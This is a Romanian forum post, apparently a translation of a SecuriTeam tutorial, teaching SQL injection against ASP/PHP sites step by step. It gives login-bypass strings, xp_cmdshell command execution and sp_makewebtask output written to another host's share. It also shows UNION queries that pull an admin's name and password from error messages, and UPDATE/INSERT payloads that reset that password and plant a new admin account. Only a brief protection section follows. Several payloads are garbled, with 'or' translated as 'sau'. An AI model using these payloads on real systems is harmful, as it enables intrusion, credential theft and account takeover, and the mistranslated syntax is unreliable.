ok, stiu ca s-a mai vorbit despre asa ceva, dar se pare ca o buna majoritate nu au inteles/s-au straduit sa inteleaga procesul. Prima si prima data va anunt ca trebuie sa aveti cunostiinte cel putin minime de SQL pentru a putea intelege efectiv. 1. Ce este injectia SQL ? Este un truc de a interoga baza de date SQL prin intermedium paginii de web. Multe pagini primesc/accepta parametri de la utilizator si executa interogarile SQL in baza de date. 2. De ce este nevoie ? Orice browser web. 3. Ce trebuie sa cauti ? Incercati sa cautati orice pagina care va permite sa trimiteti date, exemplu: pagini de autentificare, cautare, feedback, cateodata pagini HTML care folosesc 'comanda' POST si trimit informatiile la o alta pagina ASP sau PHP. De aceeas nu o sa puteti vedea parametrii in URL. Desigur, puteti cauta in codul HTML al acelei pagini tag-ul "FORM". Este posibil sa gasiti ceva de genul: <FORM action=Search/search.asp method=post> <input type=hidden name=A value=C> </FORM> Orice intre tag-urile <FORM> si <FORM/> are potential care ne-ar putea fi de folos. 4. Si daca nu gasesc nici o pagina de genul ? Ar trebui sa cauti pagini PHP, ASP, CGI, JSP. Cel mai bine sa fiti atneti la adresa URL care preia parametri. Exemplu: [url='http://pagina.php?id=1']http://pagina.php?id=1[/url] 5. Cum testez daca este vulnerabil ? Incepeti cu un simplu trick folosing caracterul '. Introduceti ceva de genul: hi' sau 1=1-- In pagina de autentificare, sau chiar in URL. nume: hi' sau 1=1-- parola: hi' sau 1=1-- [url='http://pagina.php?id=hi']http://pagina.php?id=hi[/url] sau id=1=1-- Acest lucru il puteti face si la paginile in care sunt folosite tag-urile FORM, iar daca aveti noroc s-ar putea sa va logati fara a avea un nume de utilizator si o parola. 6. Dar de ce hi' sau 1=1-- ? Sa ne uitam la un alt exemplu pentru a vedea de ce ' sau 1=1-- este important. In afara de faptul ca trecem de autentificare, este posibil sa mai avem acces si la alte informatii. Sa luam o pagina ASP care ne va lega de o alta prin urmatorul URL: http://pagina.asp?categorie=sex In URL vedem variabila denumita 'categorie' si valoarea acesteia 'sex'. Pentru a face aceast asignare de valoare, in ASP se executa urmatoarele: v_cat = request("categoria") sqlstr="SELECT * FROM produs WHERE PCategory='" & v_cat & "'" set rs=conn.execute(sqlstr) Dupa cuma puteam vedea, variabila noastra va fi purtata prin v_cat si codul SQL va deveni: SELECT * FROM producs WHERE PCategory='sex' Interogarea va intoarce un rezultat continand unul sau mai multe randuri care se potrivesc conditiei WHERE, iar in acest caz 'sex'/ Acum, sa presupunem ca schimbam URL'ul in ceva de genul: http://pagina.asp?categoria=sex' sau 1=1-- Acum, variabila v_cat va fi egala cu "sex' sau 1=1--", si daca inlocuim in cod, vom avea: SELECT * FROM produs WHERE PCategory='sex' sau 1=1--' Acum, interogarea va selecta totul din tabela produse, chiar daca PCategory este egala cu 'sex' sau nu. Doua 'minusuri' (dash) va spune server-ului de SQL sa ignore restul interogarii. Uneori este posibil si prin folosirea '#'. In cazul in care nu este un server de SQL, sau nu poate fi ignorata restul interogarii, puteti incerca: ' sau 'a'='a Interogarea SQL va deveni acum: SELECT * FROM produs WHERE PCategory='sex' sau 'a'='a' Va returna deasemenea acelasi rezultat. In functie de interogarea SQL, puteti incerca una din urmatoarele posibilitati: ' sau 1=1-- " sau 1=1-- sau 1=1-- ' sau 'a'='a " sau "a"="a ') sau ('a'='a 7. Cum pot face 'remote execution' prin injectare SQL ? Daca este posibil sa injectam comenzi SQL, atunci este posibil sa executam orice interogare SQL dupa cum vrem. Instalarea default server-ului MSSQL ruleaza ca user SYSTEM, la fel si pe o parte din serverele de Unix. Deasemenea putem folosi functii stocate de sistem pentru a executa "remote exec." Exemplu: '; exec master..xp_cmdshell 'ping 10.10.1.2'-- Pentru a verifica daca comanda a fost executata cu succes, se poate folosi functia tcpdump icmp pentru a vedea pachetele icmp de la 10.10.1.2. 8. Cum primesc output (afisare) de la interogarea mea ? Se poate folosi sp_makewebtask pentru a scrie o interogare HTML: '; EXEC master..sp_makewebtask "10.10.1.3shareoutput.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES" 9. Cum sa preiau toate tabelele si cimpurile dintr-o baza de date? Putem folosi o alta tabela INFORMATION_SCHEMA.COLUMNS pentru a vedea toate campurile dintr-o tabela: http://index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'-- Rezultat: Output: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int. /index.asp, line 5 Acum ca avem numele primului camp, putem folosi NOT IN () pentru a prelua pe cel de-al doilea: http://index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')-- Output: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int. /index.asp, line 5 Continuam pana obtinem toate campurile. 10. Cum putem prelua datele pe care le dorim ? Acum ca am aflat numele campurilor, puteam folosi aceeasi metoda pentru a prelua informatiile pe care le dorim din baza de date. Sa preluam login_name din tablea "admin_login" : http://index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login-- Output: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int. /index.asp, line 5 Acum stim ca este un administrator cu numele "neo". Acum ca sa preluam parola: http://index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'-- Output: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int. /index.asp, line 5 Si ne putem loga cu "neo" si "m4trix". 11. Cum inserez/modific datele intro baza de date ? Dupa ce am prelua cu succes toata campurile unei tabele, este posibil sa modifica sau sa inseram informatii noi. De exemplu sa schimbam parola lui 'neo': http://index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'-- Pentru a introduce o noua inregistrare in baza de date: http://index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')-- Si acum ne putem loga cu "neo2" si parola "newpas5". 12. Cum ma protejez ? Filtrati caracterele ca ' , " , / , , | si chiar NULL in toate liniile din: - inserari de la utilizatori - parametri de la URL - valori cookie Pentru valori numerice convertitile in INTEGER inainte de a la introduce in codul SQL sau folositi functia ISNUMERIC pentru a verifica. Schimbati privilegiile server-ului SQL folosind un alt user cu acces redus. Stergeti procedurile stocate pe care nu le folositi: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask Succes Credits: www.securiteam.com Traducerea by me.